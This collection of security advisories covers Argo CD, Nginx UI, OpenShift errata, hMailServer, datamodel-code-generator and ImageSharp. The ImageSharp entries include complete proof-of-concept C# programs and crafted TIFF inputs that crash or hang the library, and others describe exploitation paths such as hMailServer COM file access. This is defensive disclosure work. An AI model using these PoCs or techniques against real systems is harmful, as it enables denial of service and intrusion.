Search: com.ar

To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle

### Impact Argo CD runs a shell command in the repo-server when it clones or fetches an SSH Git repository that has a proxy URL. The proxy host and port are copied into an SSH `ProxyCommand`. A host that contains shell metacharacters breaks out of that command and runs in the repo-server. All versions from v2.11.0 onward are affected, including every currently supported release. v2.10.20 and earlier are not. The behavior was introduced in [9b27aeb1a4](https://github.com/argoproj/argo-cd/commit/9b27aeb1a4fb15d11a0f01cad65dea1fdfc60205) (2024-01-09, [#15864](https://github.com/argoproj/argo-cd/pull/15864)), the change that added SOCKS5 proxy support for SSH Git URLs, and was first released in v2.11.0. The repository must use SSH. `http`, `https`, and `socks5` proxy URLs all take this path when they are set on an SSH repository. An HTTPS Git repository uses the proxy as an HTTP proxy and does not build this command. Anyone who can create or update a repository or a repository credential template can set the proxy. That includes a project-scoped repository permission, `argocd repo add --proxy`, and a repository Secret. A credential template applies its proxy to every matching SSH repository that does not have its own credentials. Argo CD runs the command when it tests the repository connection and on later fetches. The process can read other Git, Helm, and OCI credentials stored for the repo-server. ### Patches A patch for this vulnerability has been released in the following Argo CD versions: * v3.6.0-rc2 * v3.5.4 * v3.4.10 * v3.3.15 The fix stops passing the proxy host and port through a shell. Argo CD 2.x and 3.0 through 3.2 are out of support and will not receive a patch. Upgrade to a patched 3.3 or newer release. ### Workarounds There is no setting that keeps SSH repository proxies and removes the shell command. * Do not grant repository create or update to untrusted users, including project-scoped repository access. See [RBAC resources](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#rbac-model-structure) and [project-scoped repositories](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/#project-scoped-repositories-and-clusters). * Do not set a proxy on an SSH repository or on a credential template that matches SSH repositories. The proxy field is documented in [Configure repositories with proxy](https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#configure-repositories-with-proxy). Credential templates are documented in [Credential templates](https://argo-cd.readthedocs.io/en/stable/user-guide/private-repositories/#credential-templates). The `--proxy` flag is documented in [`argocd repo add`](https://argo-cd.readthedocs.io/en/stable/user-guide/commands/argocd_repo_add/). An HTTPS Git repository with an HTTP proxy does not use this command. Review existing repository and credential-template Secrets for unexpected `proxy` values. ### Credits The Argo CD team would like to thank @kamil-sawicki, @yuvalelarat, @cherez0ff, @McCaulay, @gehan-psbc, @ria-labs-security, @parameter-ai-security, and @zwindler for responsibly disclosing this issue according to our [security reporting guidelines](https://github.com/argoproj/argo-cd/blob/master/SECURITY.md#reporting-a-vulnerability). ### References * Introducing commit: [9b27aeb1a4fb15d11a0f01cad65dea1fdfc60205](https://github.com/argoproj/argo-cd/commit/9b27aeb1a4fb15d11a0f01cad65dea1fdfc60205) ([#15864](https://github.com/argoproj/argo-cd/pull/15864)), first released in v2.11.0 * [Configure repositories with proxy](https://argo-cd.readthedocs.io/en/stable/operator-manual/declarative-setup/#configure-repositories-with-proxy) ### For more information * Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) * Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd

## Summary In Nginx UI versions 2.2.0 through 2.5.x, the official bundled reverse-proxy topology did not preserve the external client identity used by Gin. The backend treated the local proxy peer as the client because no trusted proxy was configured, while the proxy supplied the actual address in forwarding headers. ## Impact This has two distinct effects in bundled-proxy deployments: * **IP allowlist enforcement:** management API requests forwarded by the bundled proxy were identified as loopback and could pass the loopback exception even when the external source was not in the configured allowlist. Protected management operations still required valid credentials; this did not grant unauthenticated administrator access. * **Login availability:** failed login attempts from different external sources were attributed to one loopback address. An unauthenticated attacker could therefore trigger the shared temporary login-ban threshold and deny password or OTP login to other users behind the proxy until the ban expired. Existing authenticated sessions were not invalidated. ## Remediation Upgrade to Nginx UI 2.6.0 or later. The fix explicitly trusts only the intended bundled proxy, validates configured trusted proxies, uses the resolved client address consistently, and fails closed when an IP allowlist is enabled but the client address is invalid. Fix commit: https://github.com/0xJacky/nginx-ui/commit/e30e331303fc21cf077a2bea724bd79e66892eaf

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.14.75. See the following advisory for the container images for this release: https://access.redhat.com/errata/RHSA-2026:73869 Security Fix(es): * encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal (CVE-2026-33818) * net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution (CVE-2026-56860) * crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages (CVE-2026-56862) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.14 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.14/html-single/updating_clusters/index#updating-cluster-cli.

DeskIn versions up to 3.3.4.3 have a privilege escalation vulnerability in the com.deskin.service.installer XPC service. This flaw allows local unprivileged users to execute arbitrary installer packages as root by connecting to the root-owned service without authentication. Exploiting this vulnerability can lead to full root compromise of the affected macOS host.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.16.72. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHBA-2026:73850 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.16/html/release_notes/ Security Fix(es): * urllib3: urllib3: Unbounded decompression chain leads to resource exhaustion (CVE-2025-66418) * acl: Symlink traversal privilege escalation via libacl functions (CVE-2026-54369) * glib: off-by-one error in glib/gkeyfile.c via "g_key_file_get_locale_string_list" (CVE-2026-58014) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.16 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.16/html-single/updating_clusters/index#updating-cluster-cli.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the container images for Red Hat OpenShift Container Platform 4.14.75. See the following advisory for the RPM packages for this release: https://access.redhat.com/errata/RHSA-2026:73864 Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes: https://docs.redhat.com/en/documentation/openshift_container_platform/4.14/html/release_notes/ Security Fix(es): * sqlite: SQLite: Arbitrary code execution via crafted FTS5 full-text search data (CVE-2026-11822) * sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5 (CVE-2026-11824) * acl: Symlink traversal privilege escalation via libacl functions (CVE-2026-54369) * glib: off-by-one error in glib/gkeyfile.c via "g_key_file_get_locale_string_list" (CVE-2026-58014) * glib: path traversal in glib/gio/gdbusauthmechanismsha1.c via keyring_lookup_entry and mechanism_client_data_receive (CVE-2026-58015) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.14 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.14/html-single/updating_clusters/index#updating-cluster-cli.

## Summary When processing an attacker-controlled Protobuf schema, vulnerable versions of `datamodel-code-generator` could write a generated weak-import stub outside the intended `__weak_imports__` temporary directory. Absolute import paths and relative paths containing `..` could escape this directory. An attacker could create directories and new files at locations writable by the process. Relative path traversal could also overwrite existing writable files because the existence check and the stub write used different base directories. An existing absolute target was skipped by the existence check. Written content was limited to a generated Protobuf syntax declaration, `syntax = "proto2";` or `syntax = "proto3";`, followed by a newline. This issue did not provide fully attacker-controlled file contents, and direct arbitrary code execution has not been demonstrated. These filesystem side effects occurred before `protoc` ran. A subsequent compilation error did not undo them. A user or CI job must process the attacker-controlled schema for the issue to be triggered, whether the schema is supplied as a local file or fetched via `--url`. The fix has been merged into the parent repository's `main` branch in [5e94b8f](https://github.com/datamodel-code-generator/datamodel-code-generator/commit/5e94b8f4203198798ec66b8e48217f70af69a0dc). A patched package release is not yet available. The technical details and PoC below describe the vulnerable implementation before that fix. ## Affected component - Repository: `datamodel-code-generator/datamodel-code-generator` (formerly `koxudaxi/datamodel-code-generator`). - Analyzed at: released **0.80.0** (`pip install datamodel-code-generator==0.80.0`) and `main` @ commit `834731d56c0a90c182a0919f316069cf5ff0659a` (2026-09-13). Both contained the identical vulnerable sink. - Sink / entry point (`src/datamodel_code_generator/parser/protobuf.py`, line numbers from 0.80.0): - Source: `WEAK_IMPORT_PATTERN` (`protobuf.py:37`) — attacker-controlled capture group. - Sink: `_write_missing_weak_imports` (`protobuf.py:391-393`) — `weak_import_dir / import_path` + `mkdir(parents=True)` + `write_text`. - Timing: called from `_ProtoInputPreparer.__enter__` (`protobuf.py:333`), before `protoc.main(...)` runs inside the `with` body. - Preconditions: victim runs the tool (CLI or Python API) with `--input-file-type protobuf` on an attacker-controlled `.proto`, supplied as a local file (`--input`) or a remote URL (`--url`). Requires the `grpcio-tools` package (Protobuf support). The attacker does not need privileges on the affected system; filesystem effects are limited to locations writable by the code-generation process. ## Severity Proposed: **High**. `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` = **7.5**. - Scored to match the project's own rating of the sibling path-traversal advisories CVE-2026-55389 / CVE-2026-55390, both `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` = 7.5. This finding is the same attack surface (unvalidated path from a processed schema) with the impact moved from confidentiality (read) to **integrity (write)**, hence `C:N/I:H`. - `AV:N`: the malicious schema can be fetched over the network via `--url`, consistent with how the siblings were scored. - `I:H`: attacker fully controls the write path and can create arbitrary directory trees and overwrite existing files; only the file *content* is constrained (a fixed `syntax = "proto{2,3}";` line). - `A:N` chosen conservatively; overwriting build-critical files (lock files, `__init__.py`, entry points) can cause availability loss, which would argue `A:L`. - Honest alternative: if the reviewer treats "the victim must run the tool on the file" as user interaction (`UI:R`), the score is **6.5 (Moderate)**. The project used `UI:N` for the identical read-path siblings, so `UI:N` is used here for consistency. ## Details Source pattern — the imported path is captured with no character restriction: ```python # protobuf.py:37 WEAK_IMPORT_PATTERN = re.compile(r'^\s*import\s+weak\s+"([^"]+)"\s*;', re.MULTILINE) ``` Sink — the captured path is joined and written with no boundary check: ```python # protobuf.py:383-393 (_write_missing_weak_imports) for import_path in WEAK_IMPORT_PATTERN.findall(text): if any((include_path / import_path).exists() for include_path in include_paths): continue stub = self.weak_import_dir / import_path # no resolve(), no is_relative_to() stub.parent.mkdir(parents=True, exist_ok=True) # arbitrary directory tree stub.write_text(syntax, encoding=self.parser.encoding) ``` Two escape mechanisms, both from `pathlib`'s `/` semantics: - **Absolute path**: `Path(".../__weak_imports__") / "/etc/x"` == `/etc/x` (an absolute right operand replaces the base). Creates new files anywhere the process can write. - **`../` traversal**: `Path(".../__weak_imports__") / "../../x"` climbs out of the temp directory. Why the existence guard (line 389) does not protect the write:

A stack overflow vulnerability exists in the Coraza JSON body processor (github.com/corazawaf/coraza/v3) that can cause the entire host process to crash. This occurs due to an unbounded recursion in the gjson.Valid function when processing deeply nested JSON bodies that bypass argument and byte limits. An unauthenticated attacker can trigger this with a crafted JSON request body well within default and recommended size limits, causing a fatal stack overflow that terminates the process unconditionally.

Threat actors are targeting the accommodation industry with email campaigns containing fake guest complaints and inquiries. These emails deliver malicious LNK shortcut files disguised as images, which deploy blockchain-abusing malware families EtherRAT and TONResolver. These malware variants use public blockchain APIs for command and control infrastructure resolution, enabling dynamic infrastructure rotation and evasion of traditional takedown methods. The campaigns evolve from earlier Booking.com spoofing operations and likely use generative AI to create unique email variants, complicating detection.

A Cross-Site Request Forgery (CSRF) vulnerability exists in the balbooa.com Gridbox extension for Joomla versions 1.0.0 through 2.20.3.1. The vulnerability arises because the addLanguage action does not require a POST request and thus bypasses the Joomla session token validation that is only enforced on POST methods. This allows a GET request to trigger the action without verifying the token, potentially enabling unauthorized actions if the victim has the required permissions.

This report details research on typosquatting domains that visually mimic legitimate domains by using characters from other alphabets, such as Cyrillic, to bypass browser safeguards like those in Chromium. The research demonstrates how attackers register lookalike domains that appear identical to trusted sites (e.g., apple.com) but are distinct due to Unicode character substitutions. The report includes historical examples of typosquatting and homoglyph attacks used for phishing, malware distribution, and credential theft. The research highlights the challenges browsers face in detecting these deceptive domains and the risks posed by such attacks.

Heap-based buffer overflow in the legacy Blowfish encryption routine (BlowFishEncryptor::Encode, called by EncryptToString) in Progressive Robot hMailServer 6.0.0 through 6.3.5 allows an authenticated mailbox user to cause a denial of service (service crash), and possibly other unspecified impact. In 6.3.4 and 6.3.5, where the self-service REST API is enabled (it is off by default), the user does this remotely by adding a fetch account whose password is 129 to 247 characters long and not a multiple of 8, and then requesting their personal data export (GET /api/v1/me/export.zip), which encrypts that password with the legacy scheme. The same flaw is reachable on Windows by any local interactive user with no hMailServer credentials, through the COM method Utilities.BlowfishEncrypt, which checked no authentication. It is also reachable by every stored-secret write when ProtectStoredSecretsWithDPAPI is set to 0. For such a length, the routine's padding loop writes up to 7 zero bytes 2 to 232 bytes past the end of its 255-byte heap buffer. The ciphertext it returns is still correct.

Missing authorization on COM objects in Progressive Robot hMailServer 6.0.0 through 6.3.5 (Windows only) lets a local interactive user with no hMailServer credential read and write arbitrary files as the service account and queue mail as any sender. The service registers its COM classes with no DCOM access or launch permission and calls CoInitializeSecurity with no security descriptor, so any user logged on at the console or over Remote Desktop can activate the classes in the running service; a hMailServer.Message, its Attachments and Attachment, and a hMailServer.FetchAccount created this way carry a credential that never authenticated. Attachments.Add(path) and Attachment.SaveAs(path) performed no authorization check, and Message.Save/Copy and FetchAccount.AccountID/Save performed none either up to 6.3.3 and from 6.3.4 treated a holder with no credential as the server's own event-script host. Because the service does not impersonate the COM caller, Attachments.Add reads any file the service account can read and returns it, Attachment.SaveAs writes attacker-chosen bytes to any path it can write (on a LocalSystem installation, code execution as SYSTEM), Message.Save queues outbound mail from any address past the SMTP checks, and FetchAccount attaches a mail-fetch job to any mailbox. The objects an Application handed out behave the same once a later Authenticate on that Application fails.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.16.72. See the following advisory for the container images for this release: https://access.redhat.com/errata/RHSA-2026:73853 Security Fix(es): * golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing (CVE-2026-39821) * net/http/internal/http2: golang: golang.org/x/net: Go HTTP/2: Denial of Service via malformed SETTINGS_MAX_FRAME_SIZE frame (CVE-2026-33814) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.16 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.16/html-single/updating_clusters/index#updating-cluster-cli.

### Summary The TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.1.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. The T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1. ### Details [`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte. After encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span. The default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path. ### Tested environment - Published NuGet package: `SixLabors.ImageSharp` 4.1.1 - Target framework: `net8.0` - .NET SDK: 8.0.424 - .NET runtime: 8.0.30 - Operating system: Debian GNU/Linux 12, ARM64, Docker No active exploitation is known. ### Reproduction Create a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats.Tiff; using SixLabors.ImageSharp.Formats.Tiff.Constants; string mode = args.FirstOrDefault() ?? "exploit"; byte[] input = Convert.FromBase64String( "SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA"); using Image image = Image.Load(input); var metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata(); Console.WriteLine($"ImageSharp={typeof(Image).Assembly.GetName().Version}"); Console.WriteLine($"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}"); using var output = new MemoryStream(); if (mode == "control") { image.Save(output, new TiffEncoder { Compression = TiffCompression.None }); } else { image.Save(output, new TiffEncoder()); } Console.WriteLine($"encoded=True bytes={output.Length}"); ``` Run: ```text dotnet run -- exploit dotnet run -- control ``` The exploit produced exit code 134: ```text ImageSharp=4.0.0.0 mode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1 Unhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values. at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height) ``` The control completed with exit code 0: ```text ImageSharp=4.0.0.0 mode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1 encoded=True bytes=212 ``` ### Impact One attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.

### Summary `SixLabors.ImageSharp` 4.1.1 can spend an attacker-controlled duration decoding a small malformed BigTIFF. The BigTIFF IFD entry-count field is 64-bit. The reader iterates once per declared entry, but when fewer than 20 bytes remain for an entry, the entry read returns without advancing. A 24-byte input can therefore run billions of iterations without consuming input. One decoder invocation occupied one executing thread for more than five seconds in the tested environment. This report makes no worker-pool exhaustion claim. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. BigTIFF decoding and the unbounded `ReadValues64` loop first appear in v2.0.0. Every release tag from v2.0.0 through v4.1.1 retains that loop without constraining the entry count or terminating when a truncated entry makes no progress. The 24-byte PoC exceeded the five-second timeout on published v2.0.0 and v4.1.1; the one-entry control returned promptly on both. ### Details [`ReadValues64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L220-L231) trusts the 64-bit IFD count and loops once per declared entry. When fewer than 20 bytes remain, [`ReadValue64`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Metadata/Profiles/Exif/ExifReader.cs#L439-L444) returns without advancing the stream or ending the outer loop. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction The public `Image.Load(Stream)` call receives a 24-byte little-endian BigTIFF with its first IFD at offset 16 and entry count `5000000000`. There are no bytes for an entry. Run the supplied container under a five-second timeout. Complete observed output: ```text bigTiffBytes=24 entryCount=5000000000 timeout exit status: 124 ``` `timeout` exit code 124 means the decoder had not returned after five seconds. The control is identical except the entry count is `1`: ```text bigTiffBytes=24 entryCount=1 decoderReturned=InvalidImageContentException message=The TIFF image frame is missing the ImageWidth Docker exit status: 0 ``` The control rejects malformed input promptly; it does not time out. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; static class Program { // Little-endian BigTIFF: a header, IFD at byte 16, and no IFD entry data. // The count field is controlled by the input. private static byte[] BuildBigTiff(ulong entryCount) { byte[] bytes = new byte[24]; bytes[0] = 0x49; bytes[1] = 0x49; // II bytes[2] = 0x2B; bytes[3] = 0x00; // BigTIFF magic bytes[4] = 0x08; bytes[5] = 0x00; // 8-byte offsets BitConverter.GetBytes((ulong)16).CopyTo(bytes, 8); BitConverter.GetBytes(entryCount).CopyTo(bytes, 16); return bytes; } private static void Main(string[] args) { ulong entryCount = ulong.Parse(args[0]); byte[] bytes = BuildBigTiff(entryCount); Console.Error.WriteLine($"bigTiffBytes={bytes.Length} entryCount={entryCount}"); try { using var stream = new MemoryStream(bytes); using Image image = Image.Load(stream); Console.Error.WriteLine("completed"); } catch (Exception ex) { Console.Error.WriteLine($"decoderReturned={ex.GetType().Name} message={ex.Message}"); } } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <ImplicitUsings>enable</ImplicitUsings> <Nullable>enable</Nullable> </PropertyGroup> <!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. --> <ItemGroup> <Reference Include="SixLabors.ImageSharp"> <HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath> </Reference> <Reference Include="System.IO.Hashing"> <HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath> </Reference> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /work COPY wmxv.csproj Program.cs ./ RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' >

### Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release. ### Details [`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram. The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes `HistogramEqualization()`. Observed result: ```text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd,